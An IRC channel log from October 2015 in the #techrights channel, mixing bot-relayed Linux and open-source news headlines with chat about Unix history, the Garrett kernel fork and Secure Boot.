| TweetTuxMachines | Summit http://t.co/FVAbNVerjw | Oct 06 08:27 |
| TweetTuxMachines | (insights.ubuntu.com) | Oct 06 08:27 |
| -TechrightsBot-tr/#techrights-insights.ubuntu.com | Ubuntu Hackathon: Bangalore Mobile Developer Summit | Ubuntu Insights | Oct 06 08:27 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nxfkm | Oct 06 08:27 |
| TweetTuxMachines | @tuxmachines Top 5 Best New Android Action Games of | Oct 06 08:27 |
| TweetTuxMachines | September 2015 http://t.co/LjrfQBocaH | Oct 06 08:27 |
| -TechrightsBot-tr/#techrights-heavy.com | Top 5 Best New Android Action Games of September 2015 | Heavy.com | Oct 06 08:27 | |
| TweetTuxMachines | (heavy.com) | Oct 06 08:27 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxfkn | Oct 06 08:27 |
| TweetTuxMachines | @tuxmachines Company Shares of Red Hat, Inc. (NYSE:RHT) | Oct 06 08:27 |
| TweetTuxMachines | Rally 0.96% http://t.co/Z0nE845EDM | Oct 06 08:27 |
| TweetTuxMachines | (newswatchinternational.com) up "7.22% for the | Oct 06 08:27 |
| -TechrightsBot-tr/#techrights-newswatchinternational.com | Company Shares of Red Hat, Inc. (NYSE:RHT) Rally 0.96% | News Watch International | Oct 06 08:27 | |
| TweetTuxMachines | last 4 weeks." | Oct 06 08:27 |
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| TweetTuxMachines | @tuxmachines Red Hat on track to hit 70 per cent channel | Oct 06 08:35 |
| TweetTuxMachines | sales goal http://t.co/4JKbISO8OZ | Oct 06 08:35 |
| TweetTuxMachines | (www.channelnomics.eu) | Oct 06 08:35 |
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| -TechrightsBot-tr/#techrights-www.channelnomics.eu | Red Hat on track to hit 70 per cent channel sales goal - from Channelnomics.eu | Oct 06 08:35 | |
| TweetTuxMachines | @tuxmachines Scraps: Modular Vehicle Combat Released For | Oct 06 08:35 |
| TweetTuxMachines | Linux, Looks Like Fun http://t.co/ON9NaTMN7J | Oct 06 08:35 |
| TweetTuxMachines | (www.gamingonlinux.com) | Oct 06 08:35 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Scraps: Modular Vehicle Combat Released For Linux, Looks Like Fun | GamingOnLinux | Oct 06 08:35 | |
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| *TweetTuxMachines @mispaginasfavor followed @tuxmachines | Oct 06 08:36 | |
| TweetTuxMachines | @tuxmachines Cutegram, the Best Telegram Client, Reaches | Oct 06 08:40 |
| TweetTuxMachines | Version 2.7 with Many Changes | Oct 06 08:40 |
| TweetTuxMachines | http://t.co/YdcoTMzJrM (news.softpedia.com) | Oct 06 08:40 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Cutegram, the Best Telegram Client, Reaches Version 2.7 with Many Changes - Softpedia | Oct 06 08:40 | |
| *TweetTuxMachines @qu1j0t3 favourited 'Scraps: Modular Vehicle Combat Released For Linux, Looks...' | Oct 06 08:41 | |
| TweetTuxMachines | @tuxmachines Does your company know how much open source it | Oct 06 08:41 |
| TweetTuxMachines | uses? http://t.co/uRJCp0UfjM | Oct 06 08:41 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Does your company know how much open source it uses? | Tux Machines | Oct 06 08:41 | |
| TweetTuxMachines | @tuxmachines A kid in an open source candy store | Oct 06 08:41 |
| TweetTuxMachines | http://t.co/SSVKkjbYmD (www.tuxmachines.org) | Oct 06 08:41 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxfqm | Oct 06 08:41 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | A kid in an open source candy store | Tux Machines | Oct 06 08:41 | |
| TweetTuxMachines | @tuxmachines Red Hat eyes app platform leader with Samsung | Oct 06 08:41 |
| TweetTuxMachines | http://t.co/qT5152ec1x (www.tuxmachines.org) | Oct 06 08:41 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat eyes app platform leader with Samsung | Tux Machines | Oct 06 08:41 | |
| TweetTuxMachines | @tuxmachines Leftovers: Ubuntu http://t.co/2sS2i8DyGp | Oct 06 08:41 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 08:41 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Ubuntu | Tux Machines | Oct 06 08:41 | |
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| TweetTuxMachines | @tuxmachines Red Hat and Fedora http://t.co/ZkvF0PLTbj | Oct 06 09:25 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 09:25 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat and Fedora | Tux Machines | Oct 06 09:25 | |
| TweetTuxMachines | @tuxmachines First Point Release of GTK+ 3.18 Introduces | Oct 06 09:25 |
| TweetTuxMachines | Faster Popover Animations, More | Oct 06 09:25 |
| TweetTuxMachines | http://t.co/oBY8Qlc91C (news.softpedia.com) | Oct 06 09:25 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | First Point Release of GTK+ 3.18 Introduces Faster Popover Animations, More - Softpedia | Oct 06 09:25 | |
| TweetTuxMachines | @tuxmachines Why Google Will Still Bet on Both Chrome OS and | Oct 06 09:25 |
| TweetTuxMachines | Android http://t.co/QgQgwyy7CS (ostatic.com) | Oct 06 09:25 |
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| -TechrightsBot-tr/#techrights-ostatic.com | Why Google Will Still Bet on Both Chrome OS and Android | Oct 06 09:25 | |
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| schestowitz | https://twitter.com/esthete/status/651389937384755200 | Oct 06 09:40 |
| -TechrightsBot-tr/#techrights-@esthete: Patent troll débarquent en Europe http://t.co/CBJdPxXCHQ | Oct 06 09:40 | |
| -TechrightsBot-tr/#techrights--> techrights.org | With Software Patents in Europe (and Pushes for the Same Thing in Australia and India) Patent Trolls Now Come to Europe, Attack Android/Linux | Techrights | Oct 06 09:41 | |
| schestowitz | https://twitter.com/Splat_Blatter/status/651390923184717824 | Oct 06 09:41 |
| -TechrightsBot-tr/#techrights-@Splat_Blatter: @FiftyAtTheBid @TheCitizenSport @SportCorruption @LLP_Le_Vrai @schestowitz @zoobab #Blatter on his way out! http://t.co/zUZbbrpuXc | Oct 06 09:41 | |
| -TechrightsBot-tr/#techrights-@Splat_Blatter: @FiftyAtTheBid @TheCitizenSport @SportCorruption @LLP_Le_Vrai @schestowitz @zoobab #Blatter on his way out! http://t.co/zUZbbrpuXc | Oct 06 09:41 | |
| schestowitz | https://twitter.com/AJimenez1988/status/651388314923204608 https://twitter.com/AJimenez1988/status/651388758940626944 | Oct 06 09:41 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Good riddance. If political correctness invades everything the Aspies that develop tech won't have a release. | Oct 06 09:41 | |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Dafuq!? Nerds are harmless, that's why people can spew venom on them without fear of reprisal. | Oct 06 09:41 | |
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| TweetTuxMachines | @tuxmachines "Ubuntu Is the Recommended OS" of a game | Oct 06 09:59 |
| TweetTuxMachines | http://t.co/ZsvZpuBev0 (www.phoronix.com) | Oct 06 09:59 |
| TweetTuxMachines | http://t.co/F8Hnv3aVHU (news.softpedia.com) | Oct 06 09:59 |
| -TechrightsBot-tr/#techrights-www.phoronix.com | Linux Beta Released For Trine 3: Artifacts of Power - Phoronix | Oct 06 09:59 | |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Trine 3: The Artifacts of Power Beta Now Available for Linux, Ubuntu Is the Recommended OS - Softpedia | Oct 06 09:59 | |
| *TweetTuxMachines @techmuser favourited '"Ubuntu Is the Recommended OS" of a game...' | Oct 06 09:59 | |
| MinceR | https://en.wikipedia.org/wiki/Internet_censorship_in_the_United_Kingdom#Overblocking | Oct 06 10:04 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Internet censorship in the United Kingdom - Wikipedia, the free encyclopedia [ http://ur1.ca/nxgqx ] | Oct 06 10:04 | |
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| schestowitz | https://twitter.com/zoobab/status/651400448918876160 | Oct 06 10:31 |
| -TechrightsBot-tr/#techrights-@zoobab: @Splat_Blatter @FiftyAtTheBid @TheCitizenSport @SportCorruption @LLP_Le_Vrai @schestowitz he should retire in prison, like Batistelli. | Oct 06 10:31 | |
| TweetTuxMachines | @tuxmachines LLVM/Clang http://t.co/rGkrwOMQoD | Oct 06 11:06 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 11:06 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | LLVM/Clang | Tux Machines | Oct 06 11:06 | |
| TweetTuxMachines | @tuxmachines Apache OpenOffice Coming http://t.co/6xeGKsfKjN | Oct 06 11:06 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 11:06 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Apache OpenOffice Coming | Tux Machines | Oct 06 11:06 | |
| TweetTuxMachines | @tuxmachines 2015 Productivity, Linux-Style | Oct 06 11:06 |
| TweetTuxMachines | https://t.co/hExioacPlM (dzone.com) | Oct 06 11:06 |
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| -TechrightsBot-tr/#techrights-dzone.com | DZone | Oct 06 11:07 | |
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| schestowitz | https://twitter.com/zoobab/status/651411607902384128 | Oct 06 11:08 |
| -TechrightsBot-tr/#techrights-@zoobab: @schestowitz Yocto is a nightmare compared to Openwrt. | Oct 06 11:08 | |
| schestowitz | https://twitter.com/FOSSpatents/status/651414855988215808 | Oct 06 11:13 |
| -TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz Have you obtained the EPO's "Closer contacts with major applicants" document yet? Your EPO sources should be able to get it. | Oct 06 11:13 | |
| schestowitz | haven't received it, didn't explicitly ask for it. Why not just put it on scribd yourself? | Oct 06 11:13 |
| schestowitz | https://twitter.com/FOSSpatents/status/651415813967187968 | Oct 06 11:17 |
| -TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz my source had asked me not to share or publish and I promised not to | Oct 06 11:17 | |
| schestowitz | I will ask around... | Oct 06 11:17 |
| schestowitz | http://t.co/LH6ChOe0bq | Oct 06 11:22 |
| -TechrightsBot-tr/#techrights-www.ft.com | EU court suspends Safe Harbour transatlantic data-sharing deal - FT.com | Oct 06 11:22 | |
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| schestowitz | https://twitter.com/zoobab/status/651018528896716800 | Oct 06 11:34 |
| -TechrightsBot-tr/#techrights-@zoobab: Listening to a debate on eVoting, stealing the right of people to control the elections by offloading to computer "pseudo-experts" #parlbru | Oct 06 11:34 | |
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| TweetTuxMachines | @tuxmachines Incompetence, not Linux, is behind the XOR DDoS | Oct 06 12:44 |
| TweetTuxMachines | botnet http://t.co/zK3VrQPRBG (www.zdnet.com) | Oct 06 12:44 |
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| -TechrightsBot-tr/#techrights-www.zdnet.com | Incompetence, not Linux, is behind the XOR DDoS botnet | ZDNet | Oct 06 12:44 | |
| TweetTuxMachines | @tuxmachines Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, | Oct 06 12:44 |
| TweetTuxMachines | Wind River Linux 8 http://t.co/6VikiKXENe | Oct 06 12:44 |
| TweetTuxMachines | (techrights.org) | Oct 06 12:44 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxiw7 | Oct 06 12:44 |
| -TechrightsBot-tr/#techrights-techrights.org | Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, Wind River Linux 8 | Techrights | Oct 06 12:44 | |
| TweetTuxMachines | @tuxmachines Linux-based OpenSwitch http://t.co/3iwz5HqxJ9 | Oct 06 12:44 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 12:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux-based OpenSwitch | Tux Machines | Oct 06 12:44 | |
| MinceR | http://www.cracked.com/article_18775_5-popular-safety-measures-that-dont-make-you-any-safer.html | Oct 06 12:44 |
| -TechrightsBot-tr/#techrights-www.cracked.com | 5 Popular Safety Measures That Don't Make You Any Safer | Cracked.com [ http://ur1.ca/nxiwk ] | Oct 06 12:44 | |
| TweetTuxMachines | @tuxmachines Leftovers: Gaming http://t.co/RUPh1P1VwW | Oct 06 12:44 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 12:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Gaming | Tux Machines | Oct 06 12:44 | |
| TweetTuxMachines | @tuxmachines today's howtos http://t.co/uIc3biGDVY | Oct 06 12:44 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 12:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux Machines | Oct 06 12:44 | |
| TweetTuxMachines | @tuxmachines Leftovers: Software http://t.co/FxUu40FQAO | Oct 06 12:44 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 12:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Software | Tux Machines | Oct 06 12:44 | |
| schestowitz | https://joindiaspora.com/posts/6672589 | Oct 06 13:03 |
| -TechrightsBot-tr/#techrights-@linux@joindiaspora.com reshared: JoinDiaspora.com is broken. I have been trying to sign in for days. #Diaspora #JD | Oct 06 13:03 | |
| -TechrightsBot-tr/#techrights- Photo by copaflight8@joindiaspora.com: https://joindiaspora.s3.amazonaws.com/uploads/images/thumb_medium_0af4f42d8cbb6765f937.JPG | Oct 06 13:03 | |
| schestowitz | "Too many users, too small a server. Time to move to other servers, I’m going to host my own soon, probably." | Oct 06 13:03 |
| cubexyz | sure, run your own host | Oct 06 13:07 |
| cubexyz | you'll learn a lot more | Oct 06 13:07 |
| cubexyz | ok, as for "world without linux" I think a short history lesson is in order | Oct 06 13:14 |
| cubexyz | Unix predates Linux and was started in the summer of 1969 | Oct 06 13:14 |
| cubexyz | by 1974 it left the lab, and was used by many academic insitutions | Oct 06 13:15 |
| cubexyz | BSD 1.0 appeared in 1978 | Oct 06 13:15 |
| cubexyz | support for TCP/IP appeared in 4.2BSD in 1982 | Oct 06 13:16 |
| cubexyz | Linux 0.01 appeared in sept 17th, 1991 | Oct 06 13:16 |
| cubexyz | so it's silly to say that without Linux we would have no internet | Oct 06 13:17 |
| cubexyz | some of the earlier ISPs were using BSD | Oct 06 13:17 |
| cubexyz | some still do to this day | Oct 06 13:19 |
| TweetTuxMachines | @tuxmachines today's leftovers http://t.co/UWLSgjvaET | Oct 06 13:46 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | today's leftovers | Tux Machines | Oct 06 13:46 | |
| TweetTuxMachines | @tuxmachines Media Reports Based on New Patents Suggest That | Oct 06 13:46 |
| TweetTuxMachines | Microsoft Continues to Attack Google and | Oct 06 13:46 |
| TweetTuxMachines | Android/Linux http://t.co/8Ne07huwnm | Oct 06 13:46 |
| TweetTuxMachines | (techrights.org) | Oct 06 13:46 |
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| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/vCwaitDSSy | Oct 06 13:46 |
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| -TechrightsBot-tr/#techrights-techrights.org | Media Reports Based on New Patents Suggest That Microsoft Continues to Attack Google and Android/Linux, Trying to Tax and Delete Android | Techrights | Oct 06 13:46 | |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 06 13:46 | |
| TweetTuxMachines | @tuxmachines Three Cheers to Randa 2015 and Mario | Oct 06 13:54 |
| TweetTuxMachines | http://t.co/YpAST2X8PT | Oct 06 13:54 |
| TweetTuxMachines | (alltypesofhacking.blogspot.com) | Oct 06 13:54 |
| -TechrightsBot-tr/#techrights-alltypesofhacking.blogspot.com | dreams are meant to be true: Three Cheers to Randa 2015 and Mario | Oct 06 13:54 | |
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| TweetTuxMachines | @tuxmachines Red Hat eyes app platform leader with Samsung | Oct 06 13:55 |
| TweetTuxMachines | https://t.co/ZuIdOfXXda (www.koreatimes.co.kr) | Oct 06 13:55 |
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| -TechrightsBot-tr/#techrights-www.koreatimes.co.kr | Red Hat eyes app platform leader with Samsung | Oct 06 13:55 | |
| TweetTuxMachines | @tuxmachines KDE Ships Plasma 5.4.2, bugfix Release for | Oct 06 13:55 |
| TweetTuxMachines | October https://t.co/l9DhNZd10l (dot.kde.org) | Oct 06 13:55 |
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| -TechrightsBot-tr/#techrights-dot.kde.org | KDE Ships Plasma 5.4.2, bugfix Release for October | KDE.news | Oct 06 13:55 | |
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| schestowitz | https://twitter.com/2E0EOL/status/651455154244427776] | Oct 06 13:57 |
| -TechrightsBot-tr/#techrights-@2E0EOL: @schestowitz Saying "Bye forever" is nothing new on the internet. She said she doesn't want to work "professionally with", but it's FOSS! | Oct 06 13:57 | |
| msb_ | About a week ago I started getting about 5 telemarketer calls a day. I signed up for this free service, which only works for VOIP phones like Comcast, and so far it has stopped 50% of them. https://www.nomorobo.com/ Nomorobo is currently supported on these VoIP carriers: AT&T U-Verse, Astound Broadband, BroadVoice/PhonePower, Cablevision/Optimum, Comcast, Sonic, SureWest, Time Warner, Ooma Premier, Verizon FiOS, Voipo, Voip.ms, | Oct 06 14:00 |
| -TechrightsBot-tr/#techrights-www.nomorobo.com | Stop robocalls and telemarketers with Nomorobo | Oct 06 14:00 | |
| msb_ | Vonage, 1-Voip, and Wave Broadband. | Oct 06 14:00 |
| msb_ | It works when you set up your phone carrier to ring nomorobo's phone as well as yours. It checks the caller-ID against its database, and hangs up the call if it finds a match. It only works on calls with a full 10-digit callerID number. | Oct 06 14:03 |
| msb_ | So if the phone only rings once or twice, you can ignore it. | Oct 06 14:05 |
| TweetTuxMachines | @tuxmachines System76 Is Launching Skylake Computers Powered | Oct 06 14:07 |
| TweetTuxMachines | by Ubuntu, Become a Superfan | Oct 06 14:07 |
| TweetTuxMachines | http://t.co/59leW0G2fM (news.softpedia.com) | Oct 06 14:07 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | System76 Is Launching Skylake Computers Powered by Ubuntu, Become a Superfan - Softpedia | Oct 06 14:07 | |
| TweetTuxMachines | @tuxmachines SteamOS Now Based on Debian 8.2 and Fully | Oct 06 14:07 |
| TweetTuxMachines | Supports Xbox 360 and Xbox One Controllers | Oct 06 14:07 |
| TweetTuxMachines | http://t.co/UkdHE3Pige (news.softpedia.com) | Oct 06 14:07 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | SteamOS Now Based on Debian 8.2 and Fully Supports Xbox 360 and Xbox One Controllers - Softpedia | Oct 06 14:07 | |
| TweetTuxMachines | @tuxmachines Why a penguin? Recapping a slice of Linux | Oct 06 14:08 |
| TweetTuxMachines | history http://t.co/JjwDbcrp8U (certmag.com) | Oct 06 14:08 |
| TweetTuxMachines | "Linux is a surprisingly successful operating | Oct 06 14:08 |
| TweetTuxMachines | system." | Oct 06 14:08 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxjug | Oct 06 14:08 |
| -TechrightsBot-tr/#techrights-certmag.com | Why a penguin? Recapping a slice of Linux history - CertMag | Oct 06 14:08 | |
| cubexyz | there's no doubt that Linux is successful | Oct 06 14:09 |
| cubexyz | in some ways, it's a better desktop than the BSDs | Oct 06 14:11 |
| cubexyz | although BSD is much closer to the original Unix and has a lot less bloat | Oct 06 14:11 |
| *TweetTuxMachines @REALMattRichie retweeted @tuxmachines: 'Why a penguin? Recapping a slice of Linux...' | Oct 06 14:12 | |
| TweetTuxMachines | @tuxmachines Solus Is Now Using Linux Kernel 4.1.10, Lots of | Oct 06 14:12 |
| TweetTuxMachines | Packages Updated http://t.co/8dKHOWfjvT | Oct 06 14:12 |
| TweetTuxMachines | (news.softpedia.com) | Oct 06 14:12 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Solus Is Now Using Linux Kernel 4.1.10, Lots of Packages Updated - Softpedia | Oct 06 14:12 | |
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| cubexyz | did you hear the Linux kernel got forked? | Oct 06 14:18 |
| cubexyz | http://linux.slashdot.org/story/15/10/06/1553233/matthew-garrett-forks-the-linux-kernel | Oct 06 14:20 |
| XRevan86 | cubexyz: Again? | Oct 06 14:20 |
| -TechrightsBot-tr/#techrights-linux.slashdot.org | Matthew Garrett Forks the Linux Kernel - Slashdot [ http://ur1.ca/nxk0d ] | Oct 06 14:20 | |
| XRevan86 | Garrex | Oct 06 14:21 |
| cubexyz | XRevan86, I'm not aware of any other forks | Oct 06 14:21 |
| TweetTuxMachines | @tuxmachines Android 6.0 up close: Google Now on Tap is | Oct 06 14:23 |
| TweetTuxMachines | almost amazing http://t.co/79kq9DZeHx | Oct 06 14:23 |
| TweetTuxMachines | (www.computerworld.com) | Oct 06 14:23 |
| -TechrightsBot-tr/#techrights-www.computerworld.com | Android 6.0 up close: Google Now on Tap is almost amazing | Computerworld | Oct 06 14:23 | |
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| TweetTuxMachines | @tuxmachines AMD Has More Developers Working On Their | Oct 06 14:23 |
| TweetTuxMachines | Open-Source Driver Behind The Scenes | Oct 06 14:23 |
| TweetTuxMachines | http://t.co/vmTLHuucv1 (www.phoronix.com) | Oct 06 14:23 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | AMD Has More Developers Working On Their Open-Source Driver Behind The Scenes - Phoronix | Oct 06 14:23 | |
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| __martin__ | evade asus devices, now, even with smaller form factors | Oct 06 14:26 |
| __martin__ | preinstalled m$ bloatware by default from now on | Oct 06 14:27 |
| __martin__ | (meanwhile asatya accepts mobile os marketshare fail) | Oct 06 14:27 |
| __martin__ | (= | Oct 06 14:27 |
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| TweetTuxMachines | @tuxmachines Media Reports Based on New Patents Suggest That | Oct 06 14:34 |
| TweetTuxMachines | retweeted by Microsoft Continues to Attack Google and | Oct 06 14:34 |
| TweetTuxMachines | @schestowitz Android/Linux http://t.co/8Ne07huwnm | Oct 06 14:34 |
| TweetTuxMachines | (techrights.org) | Oct 06 14:34 |
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| -TechrightsBot-tr/#techrights-techrights.org | Media Reports Based on New Patents Suggest That Microsoft Continues to Attack Google and Android/Linux, Trying to Tax and Delete Android | Techrights | Oct 06 14:34 | |
| TweetTuxMachines | @tuxmachines "Valerie Aurora, former kernel developer and | Oct 06 14:34 |
| TweetTuxMachines | open source diversity champion, and leaders at | Oct 06 14:34 |
| TweetTuxMachines | the Linux Foundation." http://t.co/b1s0QkPyvO | Oct 06 14:34 |
| TweetTuxMachines | (www.linux.com) | Oct 06 14:34 |
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| -TechrightsBot-tr/#techrights-www.linux.com | Ally Skills Training at LinuxCon 2015: Uniting All the World’s Geeks, No Exceptions | Linux.com | Oct 06 14:34 | |
| *TweetTuxMachines @EvanRBarry favourited 'Industrial touch-panel runs Linux or Android on i.MX6...' | Oct 06 14:44 | |
| TweetTuxMachines | @tuxmachines SparkyLinux 4.1 Screencast and Screenshots | Oct 06 14:44 |
| TweetTuxMachines | http://t.co/gYxAbHbqKZ (www.linuxquestions.org) | Oct 06 14:44 |
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| -TechrightsBot-tr/#techrights-www.linuxquestions.org | SparkyLinux 4.1 Screencast and Screenshots | Oct 06 14:44 | |
| schestowitz | https://twitter.com/FrancisJeffrey7/status/651468102291468288 | Oct 06 14:46 |
| -TechrightsBot-tr/#techrights-@FrancisJeffrey7: JUST BECAUSE ! https://t.co/z3Sf6jLpBC | Oct 06 14:46 | |
| -TechrightsBot-tr/#techrights-@schestowitz: If the West provided safe haven for fugitive Russians to have free speech and complain about USSR/Russia, why is it bad when Russia does it? | Oct 06 14:46 | |
| schestowitz | [19:26] <__martin__> evade asus devices, now, even with smaller form factors | Oct 06 14:46 |
| schestowitz | [19:27] <__martin__> preinstalled m$ bloatware by default from now on | Oct 06 14:46 |
| schestowitz | [19:27] <__martin__> (meanwhile asatya accepts mobile os marketshare fail) | Oct 06 14:46 |
| schestowitz | [19:27] <__martin__> (= | Oct 06 14:46 |
| schestowitz | Yes | Oct 06 14:46 |
| schestowitz | We have an old tablet that's ASUS/Nexus | Oct 06 14:46 |
| schestowitz | But I won't be buying it gain | Oct 06 14:46 |
| schestowitz | *again | Oct 06 14:46 |
| schestowitz | also a samsung g2 | Oct 06 14:46 |
| schestowitz | Both will have MS in future releases/products | Oct 06 14:46 |
| schestowitz | [19:18] <cubexyz> did you hear the Linux kernel got forked? | Oct 06 14:47 |
| schestowitz | [19:20] <cubexyz> http://linux.slashdot.org/story/15/10/06/1553233/matthew-garrett-forks-the-linux-kernel | Oct 06 14:47 |
| -TechrightsBot-tr/#techrights-linux.slashdot.org | Matthew Garrett Forks the Linux Kernel - Slashdot [ http://ur1.ca/nxk0d ] | Oct 06 14:47 | |
| schestowitz | BS | Oct 06 14:47 |
| schestowitz | won't fly | Oct 06 14:47 |
| schestowitz | just some annoying guy (I fought with him before, called him "Microsoft Apologist") | Oct 06 14:47 |
| schestowitz | https://twitter.com/FrancisJeffrey7/status/651468806192164864 | Oct 06 14:49 |
| -TechrightsBot-tr/#techrights-@FrancisJeffrey7: @Snowden @schestowitz (1) USA bureaucrats consistently have asserted that anything they do is, A PRIORI, legal until adjudicated BY #SCOTUS. | Oct 06 14:49 | |
| cubexyz | I still think it's a good idea to run more than one operating system | Oct 06 14:57 |
| cubexyz | just have a few secondary or tertiary computers, put chromeOS or BSD on them | Oct 06 14:59 |
| cubexyz | or even Plan 9 | Oct 06 14:59 |
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| cubexyz | securelevel is from NetBSD I think | Oct 06 15:04 |
| TweetTuxMachines | @tuxmachines Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, | Oct 06 15:06 |
| TweetTuxMachines | retweeted by Wind River Linux 8 http://t.co/6VikiKXENe | Oct 06 15:06 |
| TweetTuxMachines | @schestowitz (techrights.org) | Oct 06 15:06 |
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| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/vCwaitDSSy | Oct 06 15:06 |
| TweetTuxMachines | retweeted by (www.tuxmachines.org) | Oct 06 15:06 |
| -TechrightsBot-tr/#techrights-techrights.org | Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, Wind River Linux 8 | Techrights | Oct 06 15:06 | |
| TweetTuxMachines | @schestowitz | Oct 06 15:06 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 06 15:06 | |
| cubexyz | I don't believe in the "my way or the highway" approach | Oct 06 15:07 |
| cubexyz | interoperability is a good thing | Oct 06 15:07 |
| cubexyz | my way or the highway is Microsoft's mantra | Oct 06 15:09 |
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| cubexyz | did Garrett work on secure boot stuff? | Oct 06 15:15 |
| cubexyz | ah, I see that he did | Oct 06 15:16 |
| cubexyz | oh, mgj59 is Garrett | Oct 06 15:16 |
| cubexyz | at least he's pro-GPL | Oct 06 15:17 |
| TweetTuxMachines | @tuxmachines today's howtos http://t.co/uIc3biGDVY | Oct 06 15:25 |
| TweetTuxMachines | retweeted by (www.tuxmachines.org) | Oct 06 15:25 |
| TweetTuxMachines | @jesusguevarauto | Oct 06 15:25 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux Machines | Oct 06 15:25 | |
| TweetTuxMachines | @tuxmachines Android 6.0 up close: Google Now on Tap is | Oct 06 15:25 |
| TweetTuxMachines | almost amazing http://t.co/eneamltAGb | Oct 06 15:25 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 15:25 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Android 6.0 up close: Google Now on Tap is almost amazing | Tux Machines | Oct 06 15:25 | |
| TweetTuxMachines | @tuxmachines Solus Is Now Using Linux Kernel 4.1.10, Lots of | Oct 06 15:26 |
| TweetTuxMachines | Packages Updated http://t.co/TEOv4Js0Fn | Oct 06 15:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Solus Is Now Using Linux Kernel 4.1.10, Lots of Packages Updated | Tux Machines | Oct 06 15:26 | |
| TweetTuxMachines | @tuxmachines Why a penguin? Recapping a slice of Linux | Oct 06 15:26 |
| TweetTuxMachines | history http://t.co/4M5oSb7Y7V | Oct 06 15:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Why a penguin? Recapping a slice of Linux history | Tux Machines | Oct 06 15:26 | |
| TweetTuxMachines | @tuxmachines AMD Has More Developers Working On Their | Oct 06 15:26 |
| TweetTuxMachines | Open-Source Driver Behind The Scenes | Oct 06 15:26 |
| TweetTuxMachines | http://t.co/etmdUasPQA (www.tuxmachines.org) | Oct 06 15:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | AMD Has More Developers Working On Their Open-Source Driver Behind The Scenes | Tux Machines | Oct 06 15:26 | |
| TweetTuxMachines | @tuxmachines Ally Skills Training at LinuxCon 2015: Uniting | Oct 06 15:26 |
| TweetTuxMachines | All the World’s Geeks, No Exceptions | Oct 06 15:26 |
| TweetTuxMachines | http://t.co/8NCOQOgMIV (www.tuxmachines.org) | Oct 06 15:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Ally Skills Training at LinuxCon 2015: Uniting All the World’s Geeks, No Exceptions | Tux Machines | Oct 06 15:26 | |
| *TweetTuxMachines @techmuser favourited 'Why a penguin? Recapping a slice of Linux...' | Oct 06 15:26 | |
| cubexyz | long story short: you don't really want secure boot | Oct 06 15:32 |
| cubexyz | Microsoft controls the master key | Oct 06 15:32 |
| cubexyz | I don't want to have to disable secure boot | Oct 06 15:34 |
| cubexyz | I don't want the secure boot firmware at all | Oct 06 15:34 |
| cubexyz | also: "Programmatic disabling of secure boot either during boot services after exiting EFI Boot services must NOT be possible on ARM systems" | Oct 06 15:38 |
| cubexyz | Microsoft could pull the carpet out from under you can any time | Oct 06 15:42 |
| schestowitz | https://twitter.com/AJimenez1988/status/651479100910096384 https://twitter.com/AJimenez1988/status/651481904185741316 | Oct 06 15:44 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Same as boycotting Brendan Eich was not about "gay rights" but about DRM. | Oct 06 15:44 | |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Yeah, opium, lithium and the Great Game were completely unintended side perks. | Oct 06 15:44 | |
| cubexyz | so then what happened later? | Oct 06 15:49 |
| cubexyz | Microsoft announced that Windows 10 will not require manufacturers to include an option to turn off UEFI | Oct 06 15:49 |
| cubexyz | tightening the screws | Oct 06 15:49 |
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| cubexyz | TCP/IP port lingering? A microsoft invention | Oct 06 15:55 |
